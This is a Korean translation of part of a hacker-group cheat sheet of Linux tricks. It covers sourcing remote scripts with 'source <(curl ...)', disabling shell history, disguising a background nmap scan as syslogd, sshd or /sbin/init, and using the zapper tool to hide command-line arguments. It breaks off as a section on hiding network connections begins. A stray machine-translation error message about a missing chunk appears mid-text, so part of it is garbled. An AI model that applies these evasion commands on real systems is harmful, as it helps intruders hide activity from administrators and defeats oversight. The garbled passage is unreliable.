
다양한 팁 & 트릭
우리가 즐겨 쓰는 트릭 모음입니다. 그중 상당수는 우리가 만든 것이 아닙니다. 우리는 단지 수집할 뿐입니다.
우리는 트릭이 왜 동작하는지에 대한 설명 없이 '있는 그대로' 보여줍니다. 어떻게, 왜 동작하는지 이해하려면 리눅스를 알아야 합니다.
트릭이 있나요? https://thc.org/ops에 참여하세요.
BASH를 덜 시끄럽게 만듭니다. ~/.bash_history 및 다른 많은 것들을 비활성화합니다.```sh source <(curl -SsfL https://thc.org/hs)
대체 URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
그리고 curl/wget이 없다면 surl을 사용하고 bin curl로 (임시) 설치된 curl을 사용하세요.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell은 훨씬 더 많은 기능을 수행하지만 가장 중요한 것은 다음과 같습니다:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
우리는 anew를 많이 사용하며, 이것은 빠른 해결 방법입니다:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
보너스 팁:
" "(공백)으로 시작하는 명령도 [기록에 저장되지 않습니다](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
이것은 프로세스 이름만 숨깁니다. 명령줄 옵션도 숨기려면 zapper를 사용하세요.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
'/usr/sbin/sshd'로 위장한 백그라운드 'nmap'을 시작합니다:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
GNU screen 내에서 시작하세요:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
또는 바이너리를 새 이름으로 복사하세요:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
또는 바인드 마운트를 사용하여 (일시적으로) /sbin/init이 /dev/shm/nmap을 대신 가리키게 하세요:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. 명령줄 옵션 숨기기**
[zapper](https://github.com/hackerschoice/zapper)를 사용하세요:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
입력할 콘텐츠(chunk 25/494)가 제공되지 않았습니다. 번역할 원문을 다시 보내주시기 바랍니다.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. 네트워크 연결 숨기기**
요령은 `netstat`을 가로채서 grep을 사용하여 우리의 연결을 필터링하는 것입니다. 이 예시는 포트 31337 _또는_ IP 1.2.3.4의 모든 연결을 필터링합니다. `ss`(netstat 대안)에도 동일하게 적용해야 합니다.
**방법 1 - ~/.bashrc의 bash 함수로 연결 숨기기**